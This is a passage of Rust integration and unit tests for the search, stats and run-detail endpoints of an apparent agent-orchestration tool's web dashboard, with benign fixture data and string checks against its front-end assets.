11139 assert_eq!(res.status, 200, "{}", res.body);
11140 let v = res.json();
11141 assert_eq!(v["total"], 1, "{v}");
11142 assert_eq!(v["hits"][0]["id"], "20260902-140502-bbbb");
11143 assert_eq!(v["hits"][0]["field"], "text");
11144 assert_eq!(v["unreadable"], 1, "an unparsable run is counted: {v}");
11145 let parts = v["hits"][0]["snippet"].as_array().unwrap();
11146 assert!(
11147 parts
11148 .iter()
11149 .any(|p| p["hit"] == true && p["text"] == "Quokka"),
11150 "{v}"
11151 );
11152 let flat: String = parts.iter().map(|p| p["text"].as_str().unwrap()).collect();
11153 assert_eq!(
11154 flat, "The Quokka leaks across threads",
11155 "whitespace is collapsed"
11156 );
11157
11158 let both = f
11160 .get("/api/search?scope=runs&q=MOBILE%20quokka")
11161 .await
11162 .json();
11163 assert_eq!(both["total"], 1, "{both}");
11164 let neither = f
11165 .get("/api/search?scope=runs&q=quokka%20zebra")
11166 .await
11167 .json();
11168 assert_eq!(neither["total"], 0, "{neither}");
11169 let stmt = f
11171 .get("/api/search?scope=runs&q=mobile%20first")
11172 .await
11173 .json();
11174 assert_eq!(stmt["total"], 2, "{stmt}");
11175 let by_id = f.get("/api/search?scope=runs&q=140501-aaaa").await.json();
11176 assert_eq!(by_id["hits"][0]["id"], "20260902-140501-aaaa", "{by_id}");
11177 }
11178
11179 #[test]
11180 fn snippet_ignores_terms_longer_than_the_field() {
11181 let terms = ["ok".to_owned(), "elephant".to_owned()];
11182 let parts = snippet_of("ok", &terms);
11183 assert_eq!(
11184 parts,
11185 vec![SnippetPart {
11186 text: "ok".to_owned(),
11187 hit: true
11188 }]
11189 );
11190 }
11191
11192 #[test]
11193 fn snippet_marks_matches_longer_than_the_window() {
11194 let cap = SNIPPET_BEFORE + SNIPPET_AFTER + 2;
11195 let hit_len = |parts: &[SnippetPart]| -> usize {
11196 parts
11197 .iter()
11198 .filter(|p| p.hit)
11199 .map(|p| p.text.chars().count())
11200 .sum()
11201 };
11202 let total =
11203 |parts: &[SnippetPart]| -> usize { parts.iter().map(|p| p.text.chars().count()).sum() };
11204
11205 let long = "a".repeat(120);
11206 let parts = snippet_of(&long, std::slice::from_ref(&long));
11207 assert!(hit_len(&parts) > 0, "{parts:?}");
11208 assert!(total(&parts) <= cap);
11209
11210 let ja = "あ".repeat(130);
11211 let parts = snippet_of(&ja, std::slice::from_ref(&ja));
11212 assert!(hit_len(&parts) > 0, "{parts:?}");
11213 assert!(total(&parts) <= cap);
11214
11215 let text = format!("ab {} ab{}", "x".repeat(90), "c".repeat(100));
11217 let term = format!("ab{}", "c".repeat(100));
11218 let parts = snippet_of(&text, &["ab ".to_owned(), term]);
11219 assert!(parts.iter().filter(|p| p.hit).count() >= 2, "{parts:?}");
11220 assert!(total(&parts) <= cap);
11221
11222 let text = format!("{}z", "a".repeat(119));
11224 let parts = snippet_of(&text, &["a".repeat(120)]);
11225 assert_eq!(hit_len(&parts), 0, "{parts:?}");
11226 }
11227
11228 #[tokio::test]
11229 async fn search_caps_hits_and_snippet_length() {
11230 let f = Fixture::start().await;
11231 let runs = f.runs();
11232 for n in 0..(SEARCH_MAX_HITS + 5) {
11233 write_run(&runs, &format!("20260902-140501-{n:04}"), RunStatus::Merged);
11234 }
11235 let v = f.get("/api/search?scope=runs&q=web").await.json();
11236 assert_eq!(v["hits"].as_array().unwrap().len(), SEARCH_MAX_HITS);
11237 assert_eq!(v["total"], SEARCH_MAX_HITS + 5);
11238 assert_eq!(v["truncated"], true);
11239 assert!(
11241 v["hits"]
11242 .as_array()
11243 .unwrap()
11244 .iter()
11245 .all(|h| h["run"]["status"] == "merged")
11246 );
11247
11248 let long = format!("{}needle{}", "x".repeat(5000), "y".repeat(5000));
11249 let parts = snippet_of(&long, &["needle".to_owned()]);
11250 let len: usize = parts.iter().map(|p| p.text.chars().count()).sum();
11251 assert!(len <= SNIPPET_BEFORE + SNIPPET_AFTER + 2, "{len}");
11252 assert!(parts.iter().any(|p| p.hit && p.text == "needle"));
11253 }
11254
11255 #[tokio::test]
11256 async fn search_tasks_reads_every_field_and_rejects_bad_requests() {
11257 let f = Fixture::start().await;
11258 let queue = f.queue();
11259 let mut t = Task::new(
11260 "short title".to_owned(),
11261 "line one\nthe hidden Armadillo detail".to_owned(),
11262 PathBuf::from("/repo/magi"),
11263 Source::Agent {
11264 run: "r1".to_owned(),
11265 node: "chat".to_owned(),
11266 },
11267 );
11268 t.last_error = Some("disk full on /tmp".to_owned());
11269 queue.put(&mut t).expect("file the task");
11270
11271 for (q, want) in [
11272 ("armadillo", 1),
11273 ("disk%20FULL", 1),
11274 ("chat", 1),
11275 ("queued", 1),
11276 ("short%20nothing", 0),
11277 ] {
11278 let v = f
11279 .get(&format!("/api/search?scope=tasks&q={q}"))
11280 .await
11281 .json();
11282 assert_eq!(v["total"], want, "{q}: {v}");
11283 }
11284 for bad in [
11285 "/api/search?scope=tasks&q=",
11286 "/api/search?scope=tasks&q=%20",
11287 "/api/search?scope=chats&q=",
11288 "/api/search?scope=chats&q=%20",
11289 "/api/search?scope=nope&q=a",
11290 "/api/search?q=a",
11291 ] {
11292 assert_eq!(f.get(bad).await.status, 400, "{bad}");
11293 }
11294 }
11295
11296 fn write_talk(f: &Fixture, id: &str, status: &str, turns: &[(&str, &str)]) {
11298 let seat = serde_json::to_value(crate::agent::SeatState::new("talk", "claude", 1))
11299 .expect("seat value");
11300 let turns: Vec<serde_json::Value> = turns
11301 .iter()
11302 .map(|(who, body)| {
11303 serde_json::json!({"who": who, "body": body, "at": "2026-09-01T00:00:00Z"})
11304 })
11305 .collect();
11306 let doc = serde_json::json!({
11307 "schema": 1, "id": id, "repo": "/SecretRepoPath", "agent": "claude-agent",
11308 "status": status, "turns": turns,
11309 "created_at": "2026-09-01T00:00:00Z", "updated_at": "2026-09-01T00:00:00Z",
11310 "seat": seat,
11311 });
11312 let dir = f.home.path().join("talks");
11313 std::fs::create_dir_all(&dir).expect("talks dir");
11314 std::fs::write(dir.join(format!("{id}.json")), doc.to_string()).expect("write talk");
11315 }
11316
11317 #[tokio::test]
11318 async fn search_chats_reads_title_and_turns_and_counts_unreadable() {
11319 let f = Fixture::start().await;
11320 write_talk(
11321 &f,
11322 "20260901-000001-aaaa",
11323 "open",
11324 &[
11325 (
11326 "operator",
11327 "\n Why does the Pangolin cache expire?\nsecond line",
11328 ),
11329 ("agent", "Because the TTL is thirty seconds."),
11330 ],
11331 );
11332 write_talk(
11333 &f,
11334 "20260901-000002-bbbb",
11335 "closed",
11336 &[("operator", "unrelated"), ("agent", "The Zebra moved on.")],
11337 );
11338 std::fs::write(f.home.path().join("talks/broken.json"), "{ nope").expect("broken");
11339
11340 let search = |q: &'static str| {
11341 let f = &f;
11342 async move {
11343 f.get(&format!("/api/search?scope=chats&q={q}"))
11344 .await
11345 .json()
11346 }
11347 };
11348
11349 let v = search("PANGOLIN").await;
11350 assert_eq!(v["scope"], "chats");
11351 assert_eq!(v["total"], 1, "{v}");
11352 assert_eq!(v["hits"][0]["id"], "20260901-000001-aaaa");
11353 assert_eq!(v["hits"][0]["field"], "title");
11354 assert_eq!(v["unreadable"], 1, "{v}");
11355 let marked: Vec<&str> = v["hits"][0]["snippet"]
11356 .as_array()
11357 .unwrap()
11358 .iter()
11359 .filter(|p| p["hit"] == true)
11360 .map(|p| p["text"].as_str().unwrap())
11361 .collect();
11362 assert_eq!(marked, ["Pangolin"]);
11363
11364 let v = search("zebra").await;
11366 assert_eq!(v["total"], 1, "{v}");
11367 assert_eq!(v["hits"][0]["field"], "agent");
11368 assert_eq!(search("pangolin%20thirty").await["total"], 1);
11370 assert_eq!(search("pangolin%20zebra").await["total"], 0);
11371 for q in ["claude-agent", "SecretRepoPath", "open", "closed"] {
11373 assert_eq!(search(q).await["total"], 0, "{q}");
11374 }
11375 assert_eq!(search("second").await["hits"][0]["field"], "operator");
11377 assert_eq!(search("the").await["hits"][0]["id"], "20260901-000001-aaaa");
11379
11380 let v = f.get("/api/search?scope=nope&q=a").await;
11381 assert_eq!(v.status, 400);
11382 assert!(
11383 v.body.contains("scope must be runs, tasks or chats"),
11384 "{}",
11385 v.body
11386 );
11387 }
11388
11389 #[test]
11390 fn a_question_card_links_a_task_id_to_the_task_page() {
11391 let start = APP_JS
11392 .find("function updateAskCard(")
11393 .expect("updateAskCard exists");
11394 let body = &APP_JS[start..];
11395 let body = &body[..body.find("\n}\n").expect("function end")];
11396 assert!(body.contains("question.run_is_task"));
11397 assert!(body.contains("`#/tasks/${encodeURIComponent(question.run)}`"));
11398 assert!(body.contains("`#/runs/${question.run}`"));
11399 assert!(body.contains("\"task\" : \"run\""));
11400 }
11401
11402 #[test]
11403 fn stats_bars_share_one_id_keyed_plan() {
11404 let start = APP_JS
11405 .find("function statsBarRows(")
11406 .expect("statsBarRows exists");
11407 let body = &APP_JS[start..];
11408 let body = &body[..body.find("\n}\n").expect("function end")];
11409 assert!(body.contains("statsBarPlan(rows)"));
11410 assert!(body.contains("statsAgentTone(row.agent)"));
11411 assert!(!body.contains("candTone(i)"));
11412 assert!(APP_JS.contains("const STATS_LOW_N = 10;"));
11413 for root in ["stats-agents-bars", "stats-reviewers-bars"] {
11414 assert!(APP_JS.contains(&format!("statsBarRows($(\"{root}\")")));
11415 }
11416 }
11417
11418 #[test]
11419 fn the_precision_scatter_is_a_pure_plan_in_the_agents_colour() {
11420 let start = APP_JS
11421 .find("function renderStatsReviewerScatter(")
11422 .expect("renderStatsReviewerScatter exists");
11423 let body = &APP_JS[start..];
11424 let body = &body[..body.find("\n}\n").expect("function end")];
11425 assert!(body.contains("statsScatterPlan(reviewers)"));
11426 assert!(body.contains("statsAgentTone(d.agent)"));
11427 assert!(APP_JS.contains("function statsScatterPlan("));
11428 assert!(
11429 APP_JS.contains("d.submitted < STATS_LOW_N")
11430 || APP_JS.contains("r.submitted < STATS_LOW_N")
11431 );
11432 assert!(INDEX_HTML.contains("id=\"stats-reviewers-scatter\""));
11433 assert!(APP_CSS.contains(".precision-scatter"));
11434 }
11435
11436 #[test]
11437 fn advisor_reflection_is_drawn_as_stacked_segments() {
11438 assert!(APP_JS.contains("statsReflectionRows($(\"stats-advisors-bars\")"));
11439 assert!(APP_JS.contains("const STATS_SEG_MIN = 4;"));
11440 let html = include_str!("../assets/ui/index.html");
11441 assert!(html.contains("Approximate"));
11442 for label in ["reflected strongly", "faint", "no proposal"] {
11443 assert!(html.contains(label));
11444 }
11445 let css = include_str!("../assets/ui/app.css");
11446 for c in ["refl-strong", "refl-faint", "refl-absent"] {
11447 assert!(css.contains(&format!(".{c} {{")));
11448 }
11449 }
11450
11451 #[test]
11452 fn stats_daily_chart_is_planned_purely_and_rendered_from_the_api() {
11453 assert!(APP_JS.contains("function statsDailyPlan("));
11454 assert!(APP_JS.contains("renderStatsDaily(s.daily)"));
11455 assert!(INDEX_HTML.contains("id=\"stats-daily\""));
11456 }
11457
11458 #[test]
11459 fn a_keystroke_invalidates_the_search_reply_still_in_flight() {
11460 let start = APP_JS
11461 .find("function scheduleSearch(")
11462 .expect("scheduleSearch exists");
11463 let body = &APP_JS[start..];
11464 let body = &body[..body.find("\n}\n").expect("function end")];
11465 assert!(body.contains("s.seq += 1"));
11466 }
11467
11468 #[tokio::test]
11473 async fn stats_runs_unreadable_matches_health() {
11474 let f = Fixture::start().await;
11475 write_run(&f.runs(), "20260902-140501-good", RunStatus::Ready);
11476 let broken = f.runs().join("20260902-140502-bad");
11477 std::fs::create_dir_all(&broken).expect("run dir");
11478 std::fs::write(broken.join("run.json"), "{ truncated").expect("write run.json");
11479
11480 let stats = f.get("/api/stats").await;
11481 let health = f.get("/api/health").await;
11482
11483 assert_eq!(stats.status, 200);
11484 assert_eq!(stats.json()["totals"]["runs"], 1);
11485 assert_eq!(stats.json()["runs_unreadable"], 1);
11486 assert_eq!(
11487 stats.json()["runs_unreadable"],
11488 health.json()["runs_unreadable"],
11489 "the dashboard and /api/health must never disagree about how many \
11490 runs could not be read"
11491 );
11492 }
11493
11494 #[tokio::test]
11495 async fn stats_verdict_breakdown_covers_stalled_and_in_progress_runs() {
11496 let f = Fixture::start().await;
11497 write_run(&f.runs(), "20260902-140501-a", RunStatus::Merged);
11498 write_run(&f.runs(), "20260902-140502-b", RunStatus::Stalled);
11499 write_run(&f.runs(), "20260902-140503-c", RunStatus::Implementing);
11500
11501 let totals = &f.get("/api/stats").await.json()["totals"];
11502 assert_eq!(totals["runs"], 3);
11503 assert_eq!(totals["merged"], 1);
11504 assert_eq!(totals["stalled"], 1);
11505 assert_eq!(totals["in_progress"], 1);
11506 assert_eq!(totals["blocked"], 0);
11509 assert_eq!(totals["ready"], 0);
11510 }
11511
11512 #[tokio::test]
11513 async fn stats_advisors_report_proposals_and_reflection() {
11514 use crate::advise::{Advice, AdvisorRecord, Reflection};
11515 use crate::verdict::Proposal;
11516
11517 let f = Fixture::start().await;
11518 let mut state = RunState::new(
11519 PathBuf::from("/repo/magi"),
11520 "main".to_owned(),
11521 "0123456789abcdef".to_owned(),
11522 "task".to_owned(),
11523 Config::default(),
11524 );
11525 state.id = "20260902-140501-a".to_owned();
11526 state.status = RunStatus::Merged;
11527 state.advice = Some(Advice {
11528 records: vec![
11529 AdvisorRecord {
11530 seat: "advisor-1".to_owned(),
11531 agent: "alpha".to_owned(),
11532 proposal: Some(Proposal {
11533 approach: "do it".to_owned(),
11534 key_tradeoff: "speed over memory".to_owned(),
11535 risks: Vec::new(),
11536 touches: Vec::new(),
11537 why_not_naive: "breaks under load".to_owned(),
11538 }),
11539 error: None,
11540 duration_ms: 0,
11541 reflection: Reflection::Strong,
11542 },
11543 AdvisorRecord {
11544 seat: "advisor-2".to_owned(),
11545 agent: "alpha".to_owned(),
11546 proposal: None,
11547 error: Some("timed out".to_owned()),
11548 duration_ms: 0,
11549 reflection: Reflection::Absent,
11550 },
11551 ],
11552 synthesis: Some("blended brief".to_owned()),
11553 });
11554 let dir = f.runs().join(&state.id);
11555 std::fs::create_dir_all(&dir).expect("run dir");
11556 std::fs::write(
11557 dir.join("run.json"),
11558 serde_json::to_string_pretty(&state).expect("serialize run"),
11559 )
11560 .expect("write run.json");
11561
11562 let advisors = f.get("/api/stats?all=true").await.json()["advisors"].clone();
11564 let alpha = advisors
11565 .as_array()
11566 .expect("an array")
11567 .iter()
11568 .find(|a| a["agent"] == "alpha")
11569 .expect("alpha row");
11570 assert_eq!(alpha["seated"], 2);
11571 assert_eq!(alpha["proposed"], 1);
11572 assert_eq!(alpha["absent"], 1);
11573 assert_eq!(alpha["strong"], 1);
11574 assert_eq!(alpha["faint"], 0);
11575 assert_eq!(alpha["reflection_rate"]["pct"], 100.0);
11576 }
11577
11578 #[tokio::test]
11579 async fn stats_hides_agents_outside_the_roster_unless_all() {
11580 use crate::run::Candidate;
11581 let repo = TempDir::new().expect("repo dir");
11582 std::fs::write(
11583 repo.path().join("magi.toml"),
11584 "[[agents]]\nid = \"keep\"\nkind = \"claude\"\n",
11585 )
11586 .expect("magi.toml");
11587 let f = Fixture::with_repo(repo.path().to_path_buf()).await;
11588 let mut state = RunState::new(
11589 PathBuf::from("/repo/magi"),
11590 "main".to_owned(),
11591 "0123456789abcdef".to_owned(),
11592 "task".to_owned(),
11593 Config::default(),
11594 );
11595 state.id = "20260902-140501-a".to_owned();
11596 state.status = RunStatus::Merged;
11597 for (label, agent) in [('A', "keep"), ('B', "retired")] {
11598 let mut c: Candidate = serde_json::from_value(serde_json::json!({
11599 "index": 0, "label": label.to_string(), "agent": agent,
11600 "branch": "b", "worktree": "/w",
11601 }))
11602 .expect("candidate");
11603 c.label = label;
11604 state.candidates.push(c);
11605 }
11606 let dir = f.runs().join(&state.id);
11607 std::fs::create_dir_all(&dir).expect("run dir");
11608 std::fs::write(
11609 dir.join("run.json"),
11610 serde_json::to_string_pretty(&state).expect("serialize run"),
11611 )
11612 .expect("write run.json");
11613
11614 let agents_of = |v: &serde_json::Value| -> Vec<String> {
11615 v["agents"]
11616 .as_array()
11617 .expect("array")
11618 .iter()
11619 .map(|a| a["agent"].as_str().unwrap().to_owned())
11620 .collect()
11621 };
11622 let hidden = f.get("/api/stats").await.json();
11623 assert_eq!(agents_of(&hidden), ["keep"]);
11624 assert_eq!(hidden["retired_hidden"], serde_json::json!(["retired"]));
11625 assert_eq!(hidden["totals"]["runs"], 1);
11626
11627 let all = f.get("/api/stats?all=true").await.json();
11628 assert_eq!(agents_of(&all).len(), 2);
11629 assert_eq!(all["retired_hidden"], serde_json::json!([]));
11630 }
11631
11632 #[tokio::test]
11633 async fn stats_release_bumps_split_clean_from_attention() {
11634 use crate::run::ReleaseBump;
11635
11636 let f = Fixture::start().await;
11637
11638 let mut clean = RunState::new(
11639 PathBuf::from("/repo/magi"),
11640 "main".to_owned(),
11641 "0123456789abcdef".to_owned(),
11642 "task".to_owned(),
11643 Config::default(),
11644 );
11645 clean.id = "20260902-140501-a".to_owned();
11646 clean.status = RunStatus::Merged;
11647 clean.release_bump = Some(ReleaseBump {
11648 pr_url: Some("https://github.com/o/r/pull/1".to_owned()),
11649 version: Some("1.0.0".to_owned()),
11650 automerge_enabled: true,
11651 merged_directly: false,
11652 local: false,
11653 release: None,
11654 problem: None,
11655 action_required: None,
11656 });
11657
11658 let mut blocked = RunState::new(
11659 PathBuf::from("/repo/magi"),
11660 "main".to_owned(),
11661 "0123456789abcdef".to_owned(),
11662 "task".to_owned(),
11663 Config::default(),
11664 );
11665 blocked.id = "20260902-140502-b".to_owned();
11666 blocked.status = RunStatus::Merged;
11667 blocked.release_bump = Some(ReleaseBump {
11668 pr_url: Some("https://github.com/o/r/pull/2".to_owned()),
11669 version: Some("1.0.1".to_owned()),
11670 automerge_enabled: false,
11671 merged_directly: false,
11672 local: false,
11673 release: None,
11674 problem: Some("checks red".to_owned()),
11675 action_required: Some("look at the PR".to_owned()),
11676 });
11677
11678 for state in [&clean, &blocked] {
11679 let dir = f.runs().join(&state.id);
11680 std::fs::create_dir_all(&dir).expect("run dir");
11681 std::fs::write(
11682 dir.join("run.json"),
11683 serde_json::to_string_pretty(state).expect("serialize run"),
11684 )
11685 .expect("write run.json");
11686 }
11687
11688 let bumps = f.get("/api/stats").await.json()["release_bumps"].clone();
11689 assert_eq!(bumps["merged"], 2);
11690 assert_eq!(bumps["recorded"], 2);
11691 assert_eq!(bumps["pr_opened"], 2);
11692 assert_eq!(bumps["automerge_enabled"], 1);
11693 assert_eq!(bumps["needs_attention"], 1);
11694 assert_eq!(bumps["clean"], 1);
11695 assert_eq!(bumps["coverage_rate"]["pct"], 100.0);
11696 assert_eq!(bumps["attention_rate"]["pct"], 50.0);
11697 }
11698
11699 #[tokio::test]
11700 async fn stats_release_bumps_rates_are_null_with_nothing_recorded() {
11701 let f = Fixture::start().await;
11702 write_run(&f.runs(), "20260902-140501-a", RunStatus::Merged);
11703
11704 let bumps = f.get("/api/stats").await.json()["release_bumps"].clone();
11705 assert_eq!(bumps["merged"], 1);
11706 assert_eq!(bumps["recorded"], 0);
11707 assert_eq!(bumps["coverage_rate"]["pct"], 0.0);
11710 assert_eq!(bumps["automerge_rate"], Value::Null);
11713 assert_eq!(bumps["attention_rate"], Value::Null);
11714 }
11715
11716 #[tokio::test]
11717 async fn stats_queue_counts_come_from_the_live_queue() {
11718 let f = Fixture::start().await;
11719 let q = f.queue();
11720 let mut queued = Task::new(
11721 "queued task".to_owned(),
11722 "do it".to_owned(),
11723 PathBuf::from("/repo"),
11724 Source::Human,
11725 );
11726 q.put(&mut queued).expect("put queued");
11727 let mut held = Task::new(
11728 "held task".to_owned(),
11729 "do it later".to_owned(),
11730 PathBuf::from("/repo"),
11731 Source::Human,
11732 );
11733 held.hold_machine(Some("out of attempts".to_owned()));
11734 q.put(&mut held).expect("put held");
11735
11736 let queue = f.get("/api/stats").await.json()["queue"].clone();
11737 assert_eq!(queue["queued"], 1);
11738 assert_eq!(queue["held"], 1);
11739 assert_eq!(queue["running"], 0);
11740 assert_eq!(queue["done"], 0);
11741 assert_eq!(queue["failed"], 0);
11742 assert_eq!(queue["blocked"], 0);
11743 }
11744
11745 #[tokio::test]
11746 async fn stats_on_an_empty_home_is_all_zero_not_an_error() {
11747 let f = Fixture::start().await;
11748 let stats = f.get("/api/stats").await;
11749 assert_eq!(stats.status, 200);
11750 assert_eq!(stats.json()["totals"]["runs"], 0);
11751 assert_eq!(stats.json()["totals"]["completion_rate"], Value::Null);
11752 assert_eq!(stats.json()["runs_unreadable"], 0);
11753 assert!(stats.json()["agents"].as_array().unwrap().is_empty());
11754 assert!(stats.json()["advisors"].as_array().unwrap().is_empty());
11755 assert!(stats.json()["repos"].as_array().unwrap().is_empty());
11756 assert_eq!(stats.json()["repo"], Value::Null);
11757 }
11758
11759 #[tokio::test]
11760 async fn stats_lists_every_repository_with_runs_recorded() {
11761 let f = Fixture::start().await;
11762 write_run_repo(
11763 &f.runs(),
11764 "20260902-140501-a",
11765 RunStatus::Merged,
11766 "/repos/a",
11767 );
11768 write_run_repo(
11769 &f.runs(),
11770 "20260902-140502-b",
11771 RunStatus::Merged,
11772 "/repos/a",
11773 );
11774 write_run_repo(
11775 &f.runs(),
11776 "20260902-140503-c",
11777 RunStatus::Blocked,
11778 "/repos/b",
11779 );
11780
11781 let stats = f.get("/api/stats").await;
11782 assert_eq!(stats.status, 200);
11783 assert_eq!(stats.json()["totals"]["runs"], 3);
11785 assert_eq!(stats.json()["repo"], Value::Null);
11786
11787 let repos = stats.json()["repos"].clone();
11788 let repos = repos.as_array().unwrap();
11789 assert_eq!(repos.len(), 2);
11790 assert_eq!(repos[0]["repo"], "/repos/a");
11792 assert_eq!(repos[0]["name"], "a");
11793 assert_eq!(repos[0]["runs"], 2);
11794 assert_eq!(repos[1]["repo"], "/repos/b");
11795 assert_eq!(repos[1]["runs"], 1);
11796 }
11797
11798 #[tokio::test]
11799 async fn stats_repo_query_narrows_the_aggregate_to_one_repository() {
11800 let f = Fixture::start().await;
11801 write_run_repo(
11802 &f.runs(),
11803 "20260902-140501-a",
11804 RunStatus::Merged,
11805 "/repos/a",
11806 );
11807 write_run_repo(
11808 &f.runs(),
11809 "20260902-140502-b",
11810 RunStatus::Blocked,
11811 "/repos/b",
11812 );
11813
11814 let stats = f.get("/api/stats?repo=%2Frepos%2Fa").await;
11815 assert_eq!(stats.status, 200);
11816 assert_eq!(stats.json()["totals"]["runs"], 1);
11817 assert_eq!(stats.json()["totals"]["merged"], 1);
11818 assert_eq!(stats.json()["repo"], "/repos/a");
11819 assert_eq!(stats.json()["repos"].as_array().unwrap().len(), 2);
11822 assert_eq!(stats.json()["runs_unreadable"], 0);
11825 }
11826
11827 #[tokio::test]
11828 async fn stats_daily_is_thirty_ascending_days_scoped_by_repo() {
11829 let f = Fixture::start().await;
11830 write_run_repo(
11831 &f.runs(),
11832 "20260902-140501-a",
11833 RunStatus::Merged,
11834 "/repos/a",
11835 );
11836 write_run_repo(
11837 &f.runs(),
11838 "20260902-140502-b",
11839 RunStatus::Merged,
11840 "/repos/b",
11841 );
11842
11843 for uri in ["/api/stats", "/api/stats?repo=%2Frepos%2Fa"] {
11844 let json = f.get(uri).await.json();
11845 let daily = json["daily"].as_array().expect("daily is an array");
11846 assert_eq!(daily.len(), 30);
11847 let dates: Vec<&str> = daily.iter().map(|d| d["date"].as_str().unwrap()).collect();
11848 let mut sorted = dates.clone();
11849 sorted.sort();
11850 assert_eq!(dates, sorted);
11851 for d in daily {
11852 assert_eq!(
11853 d["merged"].as_u64().unwrap()
11854 + d["ready"].as_u64().unwrap()
11855 + d["other"].as_u64().unwrap(),
11856 d["runs"].as_u64().unwrap()
11857 );
11858 }
11859 assert!(json["totals"]["runs"].as_u64().unwrap() >= 1);
11860 }
11861 }
11862
11863 #[tokio::test]
11864 async fn stats_repo_query_for_an_unknown_repo_is_a_404() {
11865 let f = Fixture::start().await;
11866 write_run_repo(
11867 &f.runs(),
11868 "20260902-140501-a",
11869 RunStatus::Merged,
11870 "/repos/a",
11871 );
11872
11873 let stats = f.get("/api/stats?repo=%2Frepos%2Fnope").await;
11874 assert_eq!(stats.status, 404);
11875 }
11876
11877 #[tokio::test]
11878 async fn a_run_is_summarised_for_the_list_and_served_whole_on_its_own_route() {
11879 let f = Fixture::start().await;
11880 write_run(&f.runs(), "20260902-140501-a1b2", RunStatus::Ready);
11881
11882 let summary = f.get("/api/runs").await.json();
11883 let row = &summary[0];
11884 assert_eq!(row["short"], "a1b2");
11885 assert_eq!(row["status"], "ready");
11886 assert_eq!(row["done"], true);
11887 assert_eq!(row["title"], "Add a web UI");
11888 assert_eq!(row["repo_name"], "magi");
11889 assert_eq!(row["judges"], 3);
11890 assert_eq!(row["winner"], Value::Null);
11891 assert_eq!(row["reviews"], 0);
11892
11893 let detail = f.get("/api/runs/a1b2").await;
11896 assert_eq!(detail.status, 200);
11897 assert_eq!(detail.json()["base_branch"], "main");
11898 assert_eq!(detail.json()["id"], "20260902-140501-a1b2");
11899 }
11900
11901 #[tokio::test]
11909 async fn a_mode_none_ready_run_is_flagged_unmerged_by_design_everywhere() {
11910 let f = Fixture::start().await;
11911
11912 let mut none_run = RunState::new(
11913 PathBuf::from("/repo/magi"),
11914 "main".to_owned(),
11915 "0123456789abcdef".to_owned(),
11916 "Add a web UI".to_owned(),
11917 Config::default(),
11918 );
11919 none_run.id = "20260902-140503-none".to_owned();
11920 none_run.status = RunStatus::Ready;
11921 none_run.merge = Some(crate::run::MergeOutcome {
11922 mode: crate::config::MergeMode::None,
11923 ok: true,
11924 detail: "git -C /repo merge --no-ff magi/x/A".to_owned(),
11925 empty: false,
11926 });
11927 write_state(&f.runs(), &none_run);
11928
11929 let mut pr_run = RunState::new(
11930 PathBuf::from("/repo/magi"),
11931 "main".to_owned(),
11932 "0123456789abcdef".to_owned(),
11933 "Add a web UI".to_owned(),
11934 Config::default(),
11935 );
11936 pr_run.id = "20260902-140504-prcl".to_owned();
11937 pr_run.status = RunStatus::Ready;
11938 pr_run.merge = Some(crate::run::MergeOutcome {
11939 mode: crate::config::MergeMode::Pr,
11940 ok: false,
11941 detail: "https://example.com/pr/1 was closed without merging".to_owned(),
11942 empty: false,
11943 });
11944 write_state(&f.runs(), &pr_run);
11945
11946 let summary = f.get("/api/runs").await.json();
11947 let rows: std::collections::HashMap<&str, &Value> = summary
11948 .as_array()
11949 .expect("an array")
11950 .iter()
11951 .map(|r| (r["id"].as_str().expect("an id"), r))
11952 .collect();
11953 assert_eq!(rows[none_run.id.as_str()]["status"], "ready");
11954 assert_eq!(
11955 rows[none_run.id.as_str()]["unmerged_by_design"],
11956 true,
11957 "a mode-none Ready must be flagged in the list"
11958 );
11959 assert_eq!(
11960 rows[pr_run.id.as_str()]["unmerged_by_design"],
11961 false,
11962 "a Ready reached by a closed pull request is a different case"
11963 );
11964
11965 let none_detail = f.get(&format!("/api/runs/{}", none_run.id)).await.json();
11966 assert_eq!(none_detail["status"], "ready");
11967 assert_eq!(none_detail["unmerged_by_design"], true);
11968
11969 let pr_detail = f.get(&format!("/api/runs/{}", pr_run.id)).await.json();
11970 assert_eq!(pr_detail["unmerged_by_design"], false);
11971 }
11972
11973 #[tokio::test]
11978 async fn run_detail_reports_active_seats_and_whether_a_daemon_confirms_them() {
11979 let f = Fixture::start().await;
11980 let id = "20260902-140502-bbbb";
11984 let mut state = RunState::new(
11985 PathBuf::from("/repo/magi"),
11986 "main".to_owned(),
11987 "0123456789abcdef".to_owned(),
11988 "Add a web UI".to_owned(),
11989 Config::default(),
11990 );
11991 state.id = id.to_owned();
11992 state.status = RunStatus::Judging;
11993 state.seat_started("judge", "judge-2", std::time::Duration::from_secs(120), 0);
11994 let dir = f.runs().join(id);
11995 std::fs::create_dir_all(&dir).expect("run dir");
11996 std::fs::write(
11997 dir.join("run.json"),
11998 serde_json::to_string_pretty(&state).expect("serialize run"),
11999 )
12000 .expect("write run.json");
12001
12002 let cold = f.get(&format!("/api/runs/{id}")).await.json();
12008 assert_eq!(cold["active"]["judge-2"]["node"], "judge");
12009 assert_eq!(cold["live"], "unknown", "{cold}");
12010
12011 write_daemon(f.home.path(), Timestamp::now());
12014 let warm = f.get(&format!("/api/runs/{id}")).await.json();
12015 assert_eq!(warm["live"], "live", "{warm}");
12016 }
12017
12018 #[tokio::test]
12021 async fn run_detail_shows_the_origin_and_reads_a_pre_origin_run_as_unknown() {
12022 let f = Fixture::start().await;
12023 let write = |id: &str, origin: Option<crate::run::Origin>, schema: Option<u32>| {
12024 let mut state = RunState::new(
12025 PathBuf::from("/repo/magi"),
12026 "main".to_owned(),
12027 "0123456789abcdef".to_owned(),
12028 "Add a web UI".to_owned(),
12029 Config::default(),
12030 );
12031 state.id = id.to_owned();
12032 state.origin = origin;
12033 let mut value = serde_json::to_value(&state).expect("serialize run");
12034 if let Some(schema) = schema {
12035 value["schema"] = serde_json::json!(schema);
12036 value.as_object_mut().unwrap().remove("origin");
12037 }
12038 let dir = f.runs().join(id);
12039 std::fs::create_dir_all(&dir).expect("run dir");
12040 std::fs::write(dir.join("run.json"), value.to_string()).expect("write run.json");
12041 };
12042 write(
12043 "20260930-092817-ec34",
12044 Some(crate::run::Origin::from_agent_env(
12045 Some(("4a7b".to_owned(), "chat".to_owned())),
12046 None,
12047 )),
12048 None,
12049 );
12050 write("20260930-092817-0ld1", None, Some(12));
12051
12052 let new = f.get("/api/runs/20260930-092817-ec34").await.json();
12053 assert_eq!(new["origin_label"], "chat 4a7b", "{new}");
12054 assert_eq!(new["origin"]["by"]["kind"], "chat", "{new}");
12055
12056 let old = f.get("/api/runs/20260930-092817-0ld1").await.json();
12057 assert_eq!(
12058 old["origin_label"], "origin unknown (started before origins were recorded)",
12059 "{old}"
12060 );
